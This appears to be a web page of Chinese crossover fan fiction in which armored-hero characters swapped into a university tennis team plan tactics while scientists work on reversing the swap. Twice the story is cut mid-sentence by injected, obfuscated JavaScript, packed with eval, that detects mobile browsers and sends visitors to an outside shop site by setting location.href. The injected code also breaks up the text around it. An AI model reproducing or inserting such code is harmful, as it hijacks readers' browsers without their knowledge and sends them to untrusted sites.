“表面上看是这样没错,因为黑犀和雪獒都是重装铠甲,可以说,我们其实已经习惯了使用较为复杂或者沉重的武器。比如你总是双持流星枪和水甲盾、而我的震雷斧几乎双手才能拿得动。”西钊从口袋里拿出从休息室顺走的笔,在纸张背面的空白处一边画图一边解释,“试想一下,一旦我们把网球拍当做自己的‘武器’,把网球当做是释放的‘能量’,在相同力道的情况下,我们挥动它的速度其实是会变得非常快的。” “因为‘武器’变轻了。”北淼若有所思地点点头,喃喃道。 “对。所以我在想……”西钊顺着北淼的想法,将另一张纸拿到最上方,指出上面的几行字,“这个。周助最出名的几个技巧之一:消失的发球。它使球以极快的速度发往外侧,从而导致视觉残影,制造出‘消失’的错觉。以我们的能力,不难做到,也不难破解它的轨道。所以不论是运用它还是遭遇它,我想都不成问题。这和钱真智的‘超高速发球’是一个道理。” “嗯。这个比钟国光的‘零式发球’更适合我们,能直接在发球局占据优势。” “零式发球?” “和‘零式削球’差不多,就是用在发球局而已,效果是一样的。好像是我们看的第二场比赛里有用到。” 北淼耸耸肩解释完,从西钊手里接过这张记录着周助基本资料的纸张,来回翻看了几遍:“啧……我记得这个‘白鲸’每次出现,他们的场地都是露天或者室外。所以,有的人猜测它需要借助风力才能实现。” 西钊用笔在纸上画了个“白鲸”的击球以及回球轨迹,他也不知道为什么它叫这个名字,于是沿着轨迹画了个说可爱也不是、说丑也不是的大鲸鱼,随即忍俊不禁道:“‘白鲸’的要领和条件对我们来说还是太复杂了,不如他的‘飞燕还巢’好学。” 北淼神不知鬼不觉地又把刚刚挪开的距离挪了回去,凑上前看着西钊笔下的涂鸦,上扬的嘴角硬是没压住:“……确实。他的‘棕熊落网’用作扣杀的防守也不错。如果我们组成双打,‘棕熊’适合网前,‘飞燕’留给后场。你打算站哪儿?” 西钊的笔杆在纸上敲了敲,最后在纸上画了个新的空白场地图,并在网前和后场分别写上了北淼和自己的名字:“一般来说,你在网前,我在后场。虽然我看比赛上鞠万和石毅经常用那个I字形的……”西钊一下子想不起来那个专业名词。 “澳大利亚阵型。”北淼翻开资料,贴心补充。 “对。澳大利亚阵型。虽然他们一般用它扭转局势,但我不认为它适合我们。更高阶的双网前和双场后的阵型也是一样。”西钊的笔尖指着他画的两人的名字,一个在网前其中一边区域的中心,一个在斜对角场后单打线稍微靠场内的位置,“我看网上说,在职业选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334660|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手眼里、这是较为业余的站位。一方面来对我们说门槛更低,另一方面……”西钊欲言又止,有些尴尬地笑了笑,似乎接下来的话让他不好意思说出口。 北淼正听得入神,突然被打断让他有种面条吃一半噎在喉咙里的堵塞感,他伸手弹了弹西钊面前的纸页,催促道:“继续说啊。” 西钊抿唇犹豫半晌,这才缓缓开口,对上北淼略有不满的双眼,问道:“你刚刚在比赛回放里……有看到陈海棠的‘蛇球’吧?” 北淼聒噪地“嗯”了一声:“还有威力更强一些的‘回旋蛇球’。看有些人分析说,是他消耗对手体力的战术,因为他是队伍里体能最好的队员。” “现在不是了。”西钊嘴角的微笑愈发意味深长。 得益于他们之间的默契,北淼紧皱的眉头逐渐随着恍然大悟的表情而舒展,立即明白了西钊的用意。 “我们才是。” 他们异口同声。 “所以,你的意思是,这个阵型能让蛇球有更多的施展空间?” 西钊点点头,在纸上画出记忆里比赛回放中蛇球的轨迹:“我们的站位其实不是固定的,所以我们两个站位的击球技巧都要学会,阶段性消耗他们的体能,削弱攻防后,再用其他的技巧,难度就会低一些。论体能持久战,我想,这里也许没人能胜得过我们了。” “哦——我知道了。你刚刚支支吾吾不说话的原因就是觉得这个方法太‘不要脸’了,是不是?”北淼的手肘搭上西钊肩膀,把上半身贴过去。 西钊不知是因为北淼的靠近还是这个策略在他的理念里确实有些“不公平”,耳尖微微泛红发热。他抬手,不自然地摸了摸耳廓,故作调侃地笑道:“我是跟‘最好的’学的。” “你说我不要脸?” “我可没说,你别冤枉我啊。是你自己要代号入座的。” 西钊注意到有保安来清场了,于是拿好自己的那份资料,站起身,也不理会北淼,径直往网球场出口走:“好了,快回去吧,钱真智不是还要和你谈比赛的事吗?” 差点把这件事忘了。北淼连忙卷好资料,跟上西钊的步子,一同往宿舍楼走去。 而此时的宿舍内,除了龙马,其他人都一脸复杂地望着石毅空荡荡的床位和钟国光经常坐的那把椅子。 “真智,你确定你看清那是队长和大石吗?会不会看错了?是不是长得差不多的两个家伙?”好不容易从医院出来到学校休养的鞠万坐在下铺床边,依旧难以置信地看看上方和他暂时换了床位的石毅的空床。 钱真智推推鼻梁上的眼镜,好一会儿才回答:“没看错。确实是国光和大石。因为国光一直没过来,所以我去球场找他,就看到……”钱真智似乎没打算把“他们接吻了”再说一遍。 “喂,鞠万,你不是说大石只是对队长有意思,还没打算行动吗?怎么现在就出手了?”盘腿坐在床上的陈海棠一边打游戏一边没好气地问。 状况外的陶成武啃了一口苹果,满脸困惑:“啊?有这回事吗?我怎么不知道?什么时候?” “一次练习赛之前,大石和队长找教练有事,暂时不在,鞠万随口说的。”陈海棠无情揭穿。 “我那是说漏嘴了!!大石就跟我提过一次!要是让他知道是我说的就惨了!!” 面对抓狂的鞠万,坐在钱真智对面的周助抬手搓了搓鼻尖,缓缓目移,低声道:“其实队长也和我提过他对大石……但他也说不愿意在青学最需要他和大石的时候因为两个人的感情影响队伍和个人的状态。而且他当时很笃定大石的取向,认为他们不会有结果。” “然后现在大家都知道了。”陈海棠冷哼一声。 “会不会是我看错了……”被事实冲击到的钱真智开始自我怀疑,“按道理,队长和大石都不是会在决赛前谈私情的人。我当时在休息室跟队长提过需要他现有的数据,他们有可能……有可能是在说这件事。” “我觉得很合理啊。”陶成武把苹果核丢进垃圾桶,耸了耸肩坐上下铺的床沿,“天那么黑,还有鞠万的心理暗示,说不定就只是离得太近而已。” “但不管怎么样,事实是,他们两个私下里都对对方有想法。”周助手里转着笔、眼睛盯着摊开的课本、扶额叹气,“最好还是不要在比赛结束之前让他们发现吧。” 钱真智抬头看向周助,问道:“你是指……他们互相暗恋这件事,还是、我们已经知道了他们互相暗恋这件事?” “都是。” “嘘嘘嘘——!!”鞠万突然嘘声,紧张地朝其他人挥手,“我听到脚步声过来了!!!” 话音刚落,宿舍门就被轻轻推开,顿时,所有人都沉默下来,以一种微妙而复杂的表情齐刷刷望向站在门口的“国光”和“大石”。 好恐怖的视线。有那么一瞬间,北淼还以为这里不是“石毅”的宿舍。 “这是……怎么了?” 要不是西钊熟练地以“大石”的身份破冰,北淼和西钊还真不知道这脚趾扣地的尴尬氛围要持续到什么时候。 TBC 33. 爱的魔力转圈圈 D市,ERP指挥室内。 “结果出来了。”美真把椅子往后转,看向身后依旧老老实实站着的二人,“不是RT血型,体内气压也不符合召唤铠甲的条件,的确不是‘北淼’和‘西钊’。可以说,你们呀、就是两个普通人。” “这听起来是个好消息。”钟国光放下手中捧着的热茶,朝美真微微点头致谢,“我和大石想尽快回到原来的世界,希望你们能帮助我们。” “别担心,我和东杉还在弄清楚你们互换的原因。从数值上看,你们应该是连身体也一起转移了,这比‘灵魂互换’要复杂得多。”美真一边歪头思考,一边又把椅子转回去继续敲击键盘。 “抱歉,给你们添麻烦了。”钟国光低头朝东杉歉意地笑了笑,“如果有任何能做的,请务必告知我们。” 整理好检查结果归档的东杉转过身,拿过桌上半凉的咖啡抿了一口,笑着调侃:“哎……要是北淼有你一半的礼貌,我们就没那么多烦心事了。国光,你也别多想,这里就交给美真吧。连我们保护世界的铠甲勇士都还要休假,你们大学还没毕业,趁着能休息的时候就多放松放松。你总不能也是个要求你的队员‘连轴转’的激进派队长吧?” 钟国光扶了扶眼镜,摇摇头轻笑道:“我知道了。” “‘也’?” 一直绕着ERP实验室各种设备转圈、直到刚刚还贴着玻璃、视线挪不开光影能量室里那几颗光影石的石毅似乎听到了什么有趣的形容词,转身走到钟国光身边,俯身将手撑在桌面好奇问道:“东杉哥,这个世界的队长……我是说、北淼,是什么样的?” 东杉的表情忽然变得很微妙,看起来有些尴尬。他轻咳一声,最终还是如实道来:“北淼在我们队里只做过一段时间的领队。他行事激进,有时候也会意气用事。但论战术和战力,他都不比炘南差。哦,炘南是我们的正牌领队。说来也惭愧,那回北淼打伤炘南,让我误会了西钊几次。好在,西钊心善,误会解开之后也没放在心上。你看,北淼之前那么针对他,结果我们一顿饭他就跟人家和好了。” “我还以为、他们只是普通的情侣。” 石毅直起身这么说着的同时,小嵩拿着一杯在吧台“自助”的可乐就走了进来,似乎还没进门就听见了石毅的话,在东杉对面坐下,悠哉悠哉地叹气:“哎……要说他俩的‘爱恨情仇‘,那可一点都谈不上‘普通’。可惜,我已经从八卦记者改行服装设计师了,放在以前,就算把他们俩‘铠甲勇士’的身份换成十八线小明星,也是随便写篇报道就能爆火的程度。” “他们……一开始关系不好么?”钟国光看了石毅一眼,意识到对方并未察觉自己的视线后又收回目光,拉过一开始就为他和石毅准备的其中一把椅子礼貌地坐下,“无意冒犯,我只是看到了他们戴着戒指的合影,稍微有点意外。”钟国光停顿片刻,在句末叫了声还在身边不知道是拘谨还是呆板杵着的某人,但没有抬头看他,“大石,坐吧,没事的。” “啊、好。”突然被点名的石毅愣了一下,连忙拉过滑轮椅坐在钟国光旁边,双手放在大腿上像个好好学生。 另一边,东杉和小嵩关于北淼西钊两人的话题还在继续。东杉握着咖啡杯,撇撇嘴、耸耸肩,似乎也对那对“冤家”的发展很意外:“别说你了,知道他们确认关系之前就暧昧不清的时候,我们几个都怀疑他们是不是被夺舍了呢。要知道,北淼以前可就没盼着西钊好。” “是啊。更有趣的是,北淼明明对西钊有意思,但他可能自己也不知道。为了圆谎,连‘吊桥效应’都拿出来了。那天、其实你们都听到了吧?北淼‘不小心’和西钊接吻的事情。”小嵩带着意味深长的笑容,看了看东杉,又探头望向中控屏幕前的美真。 键盘敲击声停下,美真的手臂搭着椅背转回身朝小嵩笑道:“大记者,说好的替人家保密呢?” “‘人尽皆知的秘密’是个伪命题,美真。连坤中都看出来他们俩不对劲,两个互相暗恋的人天天在一起,怎么会有人感觉不到差别?对吧。” “说起这个,那天不是听北淼说,他能看到西钊的梦,西钊也能看到他的吗?”美真离开中控台,来到圆桌前加入了大家的讨论,“我觉得肯定和他们互相‘来电’有关系。” 东杉点点头,把手中的咖啡推给一旁的美真,看着她毫不介意地喝了一口:“嗯,后来我听坤中说,他们俩还能听到对方的心声。如果不是因为这个,要我看,他们也不会这么快就走到一起,” “诶,美真,我突然发现,你们女生八卦起来,可不比那些专业的小报记者差。考不考虑转行?我有《八天刊》主编的电话哦。”小嵩晃晃从口袋里拿出的手机,朝美真挑了挑眉毛。 “我劝你别打我们美女指挥官的主意——” “听起来不错啊?”美真打断东杉的后话,十指交叉,手背托着下巴,饶有兴趣地看着小嵩,“反正最近也没什么‘邪恶势力’入侵地球。闲着也是闲着。” 东杉的危机感在这一秒拉到了最高,委屈已经写在脸上了,没拍案但惊站起:“美、美真?!你……你真的这么想?”跟我待在一起……很无聊吗? 美真和小嵩看着站起来的东杉,两人相视一笑。美真滑动座椅,离东杉近了些,狡黠里又带着些俏皮:“骗你的啦。你真以为我会丢下我的好男朋友去挖别人的八卦啊?” 听到那三个字,小嵩差点没被可乐呛到。 “你、你刚刚叫我什么?”东杉觉得自己是不是听错了,反复确认。 “朋友啊。” “不、不是,还……还有一个字……” “好朋友?” “不是、那个……我、你……” 东杉绕不明白的嘴彻底打结了。而看穿一切的小嵩不动声色地移开视线喝光最后一口可乐。就在此时,主控屏幕的提示音响起,美真站起来重重拍了拍东杉的肩膀:“你什么你?我什么我?过来帮忙。” “哦、哦……”东杉肉眼可见红了脸,尴尬地摸摸后颈,拉着椅子听话地坐在美真隔壁的屏幕前。 “你们关系真好啊。”一直安静地从头听到尾的石毅忍俊不禁地感慨,没有去深究他们听不懂的“邪恶势力”是什么,“和我们青学网球队一样,像个大家庭。对吧,队长?” “嗯。”钟国光随口应了一声。刚刚的热聊他其实没有听进去多少,只是依旧保持礼节性的姿态。接着他就发现,他们的副队长和小嵩再次有一搭没一搭地闲聊起来。 钟国光低头盯着手中的温热的茶,在心里叹了口气。在他眼里,大石的用词总是很“精妙”,除了行动上总为集体考虑,措辞上也总是使用“我们”或者“我们网球队”,很少特指,也很少在有别人在的情况下叫他“国光”。他忽然有些羡慕这个世界的“他们”。哪怕关系曾经非常恶劣,到最后也能“终成眷属”,甚至曾经不自知地彼此喜欢、依恋。 反观他和大石……他自以为将这份心意藏得很好,因为他不愿为没有结果的感情牺牲他和大石之间的友谊。再者,虽然他不反对青学网球队里的任何人谈情说爱——比如陶成武——但是个人私情多少会影响比赛的状态:在正选选拔赛上故意输给海棠的真智、因兄弟矛盾被当做心理战术目标的周助、受家庭事业束缚在赛场上频频失利的小龙。他本就负伤休养、大石肩上又为他担了一半队长的责任,他哪里来的立场再给大石徒添一份不稳定的牵绊? 要是能知道大石怎么想的就好了,就像这个世界里能够感知彼此心意的北淼和西钊。 钟国光一边想着,一边微微侧头看向正在和小嵩畅聊的石毅,结果他看到这家伙脸红得跟发烧似的,表情也很不自然,像是在难为情。钟国光愣了半秒钟,不自觉地扶了一下眼镜。这是怎么了?他们在聊什么?他有些后悔自己刚刚魂不守舍,但好在这个话题似乎还没有结束。 “这个年纪有喜欢的人也很正常啊。”小嵩的手指勾着杯把,让手里的杯子不停转着圈,耸了耸肩,“这没什么,别给自己留遗憾就好了。” 石毅放在腿上的手抓了抓裤子,这个动作被圆桌很好地遮住,但钟国光很敏锐地捕捉到了。 他听到石毅干笑两声,摇摇头无奈地说:“只是一厢情愿而已。我和TA肯定不会有结果的。我只是希望能在……”石毅就好像发现捕猎者的猎物,方才的害羞即刻消失,又变回平时的样子。他不可能在钟国光面前说出“我希望能在他身边支持他,直到实现他和我们的梦想”这样的话,于是他换了个措辞,“我只是希望TA能实现自己的梦想。” “这听起来像是敏慈会说的话。” “敏慈?” “哦,一个朋友。她也是希望重要的人实现梦想,所以很多年都陪在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334661|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边。不过后来,那个人的愿望实现之后,敏慈也去寻找自己的梦想了。” “这样啊……我知道了,谢谢。”听完小嵩的话,石毅点头致谢,沉默下来,没再开启新的话题。 钟国光注意到,石毅的裤子已经被他攥出了褶皱,这会儿正无措地试图抚平,大概是因为他们穿着别人行李箱里的衣服,又或者是别的什么。 大石……看上去很喜欢那个人。 他从来不知道大石有喜欢的对象。 是谁呢?是青学的人吗? 钟国光还没来得及细想,中控台那边就传来了美真的声音:“国光、大石,快来,我有新发现。” 二人立马起身,连小嵩也一起站在美真身后,围成一圈。只听美真对着屏幕上一些陌生而复杂的数据和图像解释道:“初步判断,是你们各自的脑电波和他们的相似。在同一时间、同一地点,你们的大脑受到了相同的刺激,也就是你们提到过的车祸,因此触发了某种机制,才导致了互换。嗯……简单来说就是,想要换回来,也许需要相同的前提条件。” “在同一时间、同一地点、受到同样的刺激吗?”钟国光若有所思地皱起眉,点了点头,“可是要怎么做?我们并不知道另一个世界的情况。” 美真竖起食指笑了笑:“我们ERP实验室可不只有指挥部这个核心设备哦。除了大石刚刚看到的‘光影能量室’,还有一个叫做‘虚拟战斗室’的地方。我们拥有一套供铠甲召唤人训练体能的‘虚拟战斗室系统’,它能根据收集到的召唤人数据、结合铠甲的信息,通过与召唤人脑电波调频从而进入召唤人的潜意识,创造出合适个人的训练环境。相当于、一对一的特训。” “对。”坐在美真旁边的东杉转身补充,“如果我们对互换的理解是正确的,只要换个思路,调整虚拟战斗室的参数,让你们通过它进入自己的潜意识,说不定、就可以和另一个世界的‘你们’相连接。这也是北淼和西钊的‘梦境感应’给我们的灵感。” 美真点点头,调出虚拟战斗室兼传送仓的监控:“不过,目前虚拟战斗室一次只能容纳一个人,第二个训练室还没调试好,你们得一个一个来。另外、我们只能看到体能数据,潜意识画面是无法被系统识别录入的,所以,你们必须尽量记住每个细节。” “好,明白了。” “我先进去吧。”钟国光话音刚落,石毅就自告奋勇地迎上前,“我给队长探探路、了解情况,这样方便队长做最后的决策。而且……队长有伤,我也担心会受到影响。如果有什么意外,我们青学网球队可不能没有队长这个支柱。” 又来了。你就不是队里的支柱吗?钟国光还是没忍住叹口气,但石毅似乎并未察觉到他的不满。 见他们的队长没有反对,于是石毅便随着东杉的带领来到了像一个玻璃亭子一样的房间,并被要求站在中心。等石毅站稳、东杉离开房间后,周围的大灯突然亮起,晃得他下意识抬手遮住灯光。石毅听到广播里的美真让他闭眼放松。他一边听着广播中机械的“虚拟战斗室系统启动”,一边闭上双眼,调整呼吸。 “美真,训练室的底座滚轴坏了吗?”看着屏幕上似乎已经进入潜意识状态的石毅,东杉不禁疑惑,“高速旋转是加快脑电波调频的重要步骤吧?” “啊(ā)。”美真的视线甚至没从屏幕上挪开,“之前是因为系统能源问题,所以需要通过物理手段加速这个过程。博士升级系统以后,能源和功率都充足,自然就不需要这个步骤咯。” “什、什么时候的事情?” “两周之前吧。” ??“???” 那我这段时间转过的圈算什么!! “美真,你是故意的吧……”东杉听上去像颗蔫白菜。 “谁知道呢~” 钟国光并没有理会身旁的闹剧。他抬眼望去,小嵩似乎在接了个电话之后不声不响地离开了。他重回圆桌前,坐在刚刚石毅坐的那把椅子上,肘撑桌台,双手交握在一起,不安分地缓慢揉搓。 他的眼睛紧紧盯着监控画面,一刻也不敢松懈。不知为何,钟国光觉得现在的他比看青学打比赛打出个抢七局还要紧张。 他不该这样的。这不就和“个人私情影响比赛状态”是一个道理么?钟国光将额头抵上手背,呼出一声轻叹,闭上了眼。 TBC 34. “哈哈镜” 青春学院,男寝宿舍内。 把寝室里麻烦的社交推给“大石”之后,“国光”和钱真智来到了走廊上。 “教练怎么说?”在想好应对措施之前,北淼决定先发制人。 钱真智伸出食指将塌下鼻梁的眼镜上推,翻开手中几乎不离身的笔记本:“教练不同意你上场,国光。她说,你刚刚结束第一阶段的治疗,现在还在理疗期。我们也知道你的目标和龙马一样,是世界级的职业选手,教练认为,如果因为青学的比赛影响到你一直以来的梦想,就太得不偿失了。” 发现钱真智的目光在笔记本上而不在自己身上,北淼移开视线几不可闻地“啧”了一声。在图书馆里,他了解到现在的钱真智既是队员、也是助教,虽然和队长一样有一定话语权,但最终拍板的还是网球队教练。如果他要作为“钟国光”补缺,不过教练这关看来是不行了,但他不可能在病历上造假——虽然他的确身体健康——这会给钟国光本人带来一些不必要的困扰。 哎,这个钟国光,怎么这么麻烦。北淼耐住焦躁,隐隐叹息。他逐渐意识到将“穿越者”的身份对所有人隐瞒未必是件好事,要想披着“钟国光”的皮以铠甲勇士召唤人的力量顺利帮青学赢得决赛,没有“内部帮助”估计很难做到。于是,北淼对钱真智说:“明天训练结束后,我会亲自去找教练说明情况。至于我的数据……对了,何、呃,小龙的伤怎么样了?” 钱真智把笔记翻了几页纸,将里面夹着的数值报告递给北淼:“日常训练基本看不出来,但如果是赛级强度,他肯定发挥不出真实水平。” “他的‘波动球’呢?还能在平常的训练中使用吗?” “这……”钱真智心里没来由地对“钟国光”的话产生了一丝违和感,听上去有些为难,“在不伤及手臂的情况下,力量会下降35%-40%左右。这也是我迟迟定不下名单的原因之一。小龙本就是力量型选手,在赛场上这个数据完全无法占到优势。” 北淼随意翻了翻手里他不太看得懂的资料,将它重新递回钱真智手里:“真智,你误会了。我的意思是,明天队里的每个人都和我打5个球。除了鞠万,你和小龙也参加。如果,你想让我目前的数据更精确,就让所有人在这5个球内用出自己的招式。输几个球,就绕场地跑几十圈。” 在听到跑圈的那一刻,钱真智之前的那一丝违和感就这么烟消云散。果然,他们的队长还是那么爱跑圈。不过,他依旧不太理解队长让队员们以自身绝技与其较量的逻辑和目的,难道是同时收集双方数据吗? “哦,对了,大石也是。让他和每个人都打一遍,也是5球定胜负。我有预感,你需要他的一份全新数据。剩下的日常训练,就拜托你了。”北淼习惯性地抬手轻轻拍了拍钱真智的肩膀,补充道。 “大石?为什么?” “……”北淼一句“因为他还不会打网球”差点脱口而出,他迅速调整状态,面带微笑,庆幸自己擅长胡编乱造,“大石因为鞠万的事情,有点不在状态,我想通过这种短时间、高强度的训练,让他打起精神。” 那股莫名的违和感又出现了。钱真智手指捏着脸侧的镜框,望向不等他回复就已经推门回宿舍的“国光”,眼里满是想问也不知从何问起的疑虑。 队长和大石之间……不会真的有什么吧? 那晚,待所有人熟睡之后,失眠的西钊拿出手机,给北淼发了一条短信。 “我很意外。比起回到原来的世界,你好像对他们的比赛更上心。可以告诉我理由吗?” 同样失眠的北淼翻了个身,从枕头底下摸出震动的手机,看到西钊的消息,忍住没有笑出声。他无奈地摇头,把脑袋蒙在被子里回复:“因为我是他们的队长,带领他们拿下最后的胜利是我的责任和义务。回去的事什么时候都能考虑,反正现在也没有世界需要我们拯救。” “这听起来真不像你。”西钊没想到北淼会回复他,屏幕微弱的光照亮他嘴角的笑意,也映出他满眼的温柔,“你这是在弥补你之前没能做好的事情吗?” 北淼几乎要被这个家伙气笑了,有时候真不知道西钊朝他偶尔放的冷箭是故意的还是无意的。你说他没心眼吧,哪天一个不注意就被他耍得团团转;你说他心机重吧,一听就知道是骗局的坑他头也不回就往里跳。北淼在被子里哭笑不得地叹气,二氧化碳带来的温热让他的脸有些发烫。 “你就别挖苦我了,西钊。我是真心的。你也不想他们因为我们的到来白白浪费这一年的努力吧?别想太多。明天我还等着你在他们面前出糗呢。” “是吗?我无所谓。毕竟‘队长’输球丢的脸比我‘副队长’更大:)” 盯着那个笑脸表情,北淼攥紧拳头,把那股想要爬上西钊的床教训他一顿的冲动死死按下去。他知道西钊仗着他们在这里的身份和所处的环境,他不能拿西钊怎么样,所以,他一定不能急,他要等到他们回去的那一天,再和西钊算总账。 “你喜欢玩儿我是吧,等着瞧。‘君子报仇,十年不晚’ :)” 北淼将这条信息存在了手机的草稿箱里。 ———— 青春学院,网球场。 以北淼和西钊的适应能力,他们很快熟悉了校园各处的环境,包括他们的宿舍、床位、行李和训练装备。 换上大学生的运动短装让他们看上去有了更多的青春气息。特别是北淼。热身活动时,北淼练习着挥拍和击球动作,试图找到“领域”的球感,用惯流星枪之后网球拍在他手里都快转出了花;西钊则仔细观察身边每个人的一举一动,并有学有样地模仿起来,网球拍被他当成震雷棍在手中转着圈抛接。 “我怎么觉得今天的队长和大石怪怪的?”只能坐在场边休息的鞠万朝一旁早就热身完毕闲着无聊的龙马小声讨论。 龙马一如既往地冷着那张脸,双手撑在身后,看起来对其他人在做什么满不在意,但视线紧盯着热身的“钟国光”和“石毅”,皱起眉也不知道在想什么。 鞠万见龙马没理他,又转头问另一边在本子上写写画画的钱真智:“诶,真智,论数据什么的就你最清楚,你没感觉吗?” “现在下结论还为时过早。昨天队长提醒过我,大石可能在尝试新的打法和技巧,所以我需要重新收集他的数据。队长手上有伤,如果要上场,临时改变原本的球风也是一种策略。”钱真智没有明说自己同样察觉到的怪异,只是合上本子,视线绕过鞠万看向龙马,“龙马,过去集合吧,我有话和大家说。” ———— “什么?!!” 不出所料,“钟国光”今天的特训计划一出,只有龙马、周助、钱真智和西钊没什么特别大的反应。其他人都是一副“我打队长?真的假的?!”的震惊表情,似乎已经做好跑上50圈的觉悟。这不禁让北淼心虚目移了几秒钟。 “如果不想一个人喝光一整瓶青汁的话,现在就开始训练吧。5球定胜负,在这期间如果没有使用自己的特技,就会直接判定50圈。” 随着钱真智这句话悠哉地飘过,大家仿佛起跑运动员听到发令枪似的,异常积极地拿好自己的拍子蓄势待发。也正是这时,北淼和西钊才知道,那个像巫师药剂一样的东西,叫“青汁”,出自钱真智之手,并且因为某种原因——不难猜测,大概就是难喝——能够成为威胁队员的手段。北淼和西钊互相对上视线,给了彼此一个无奈的笑容。 上场顺序由钱真智抽签决定: 国光:陈海棠→陶成武→龙马→钱真智→何春龙→周助。 大石:龙马→何春龙→周助→陶成武→陈海棠→钱真智。 而随着鞠万在裁判席上一声令下,“特训”正式开始。 对北淼来说,赢球不是关键,他深知第三视角的观感和第一视角的体验有着本质区别,要想真正了解和运用,就必须亲眼见证。 陈海棠因为对手是“钟国光”而没有丝毫懈怠,在第一个球就用上了“蛇球”,成功拿下一分。 北淼漫不经心地转转手中的球拍,做好发球姿势,准备验证西钊的“速度”策略。记住各类技巧的起手式和击球角度并不难,先用钟国光的“近角抽球”试试水好了。北淼抬臂挥拍,确保自己用上了拿水甲盾捶异能兽的力道。这下可好,球虽然不如北淼想的那样落在发球区的死角,但极快的速度和极大的爆发力让它直接变成了另一种形式的“消失的发球”。若不是陈海棠背后的场地铁网晃个不停,都不知道嵌在上面的网球什么时候才会被人发现。 面对这个失败的“近角抽球”和成功的“消失发球”,北淼微微咧嘴心虚地倒吸一口凉气。他的视线缓缓从陈海棠还没反应过来的僵硬表情里移开,耳边是鞠万瞳孔地震的“1:1”。他觉得西钊只说对了一半,按他们这个打法,别说速度快得让对手接不到,就算接到了,要是他们俩没控制好力道,一不小心把人家拍子打个对穿就麻烦了。 稳一点、稳一点。北淼不断在心里默念。下一球经过几个来回之后,他改变策略,一边在脑海中回放,一边用身体模仿:球拍拖地、由下而上挥拍,打出超强力度的上旋球。这个“北淼式蛇球”和普通蛇球的曲线接近,不出所料被陈海棠提前预判,毫不客气地以同样的蛇球回击。两个人就这么开始了无人得分也无人失分的“马拉松”。 不知过了多久,陈海棠已经开始汗流浃背,而北淼却一声不响自在应对,大气都不带喘的。陈海棠终是耐不住,决定速战速决,蓄力一记“回旋蛇球”就打了过去。北淼认得出这个起手式和轨迹:和“白鲸”相似,球会从侧面绕场回到场内。那么,这个球的落点就会在——北淼反应迅速,转身的同时压低姿态再度球拍拖地调整角度,逆着回旋蛇球的轨迹在球弹起的瞬间挥拍,让球来了个“原路返回”,但由于北淼的力道更大,球直接绕过海棠落在他击球的另一侧。 伴随着鞠万的“2:1”,陈海棠脸上已经写满了“怀疑人生”四个字。 最后的两个球,一个是北淼想试一试钟国光的“零式削球”,结果没过网;另一个是陈海棠不服输,又是一招回旋蛇球,结果被北淼莫名其妙从场外用零式削球给“削”了回来。 至此,3:2,比赛结束。 愿赌服输的陈海棠放下球拍就准备去跑圈,但想起一会儿还要和“大石”打一场,又在场边椅子上坐了下来,闷声擦汗。而从头记录到尾的钱真智难以置信地看着笔下的数据,就差把眼镜拿下来擦擦干净再看一眼,生怕自己出现了幻觉。他试图用“一组数据看不出什么,要等所有人比完才知道”说服自己,抬头看向球场两边。 接下来是陶成武。 北淼简单研究过,陶成武的“垂直扣杀”需要一定前提条件,高吊球也许是最方便的。他和西钊的战术里不包括使用扣杀球,但不代表他们不需要应对它的方法。并且,陶成武还有一个优势,也是他和西钊共有的:对周围环境的感知。比赛回放看不出什么,只有在现场才能知道他是怎么利用这些要素的。 要不要人为给他制造一些“自然条件”?北淼想着,准备往对面发球。这次的发球北淼没有做任何特殊尝试,而是在回球时故意拉升球的高度,诱导陶成武扣球。但北淼的第一分就输在了陶成武利用风向打出的误导球上。风吗?北淼盯着落向发球区的网球,转了转手中的球拍。利用看不见的东西直击死角、最后以扣杀收尾,是个不错的战术。但是如果,所谓“洞察力”,不单单指“看见”呢? 北淼在球落地之前闭上眼,周围的一切在他心里顿时宛若一片湖泊。他是“水”,那么,坠入水中的石子、拂过水面的微风,任何能引起波纹的动向,他都能、也必须感知。 在众人讶异的目光里,北淼开始了他的表演:闭眼打球。没有过多花哨的技巧,也没有使用任何招数,甚至只是单纯地正反手击球。然而无论陶成武用什么方式、往哪个方向进攻,都能被北淼成功防守。哪怕陶成武利用场地极其些微的凹凸不平打出误导轨迹的球,北淼就好像能预判到球真正的落点似的,一记“零式削球”直接拿下了最后一分。 最终比赛以3:2结束,陶成武也喜提30圈。 找到感觉之后,接下来的“车轮战”对北淼来说就轻松了不少。龙马和周助并不轻松地拿了个2:3,何春龙和钱真智则以3:2非常迅速地结束了整场战局。 因为对战“大石”就算输球也不用跑圈,大家也就放松下来做中场休息,而“国光”依然还留在场内,端详着球拍似乎在复盘。 看到“大石”拿上毛巾和水朝“国光”走去,坐在钱真智旁边的龙马忽然用只有他们两个能听到的声音道:“我在美国听人说,世界上存在长相相同、但没有血缘关系的两个人。我从没当回事。”龙马拿好自己的拍子,站起身望向同样站着的钱真智,抬手压了压帽檐,“但是,我觉得现在你应该在意一下。” 龙马说完,不等钱真智回答,像转篮球一样转着球拍的握柄,走到“大石”的对面的场地,一副随时可以开始比赛的模样。北淼见龙马上场,便打算离开,给西钊腾出位置。 “你不会一个球都赢不了吧?”北淼把拍子搭在肩上,笑着调侃。 西钊哼笑一声,随北淼一起到球包 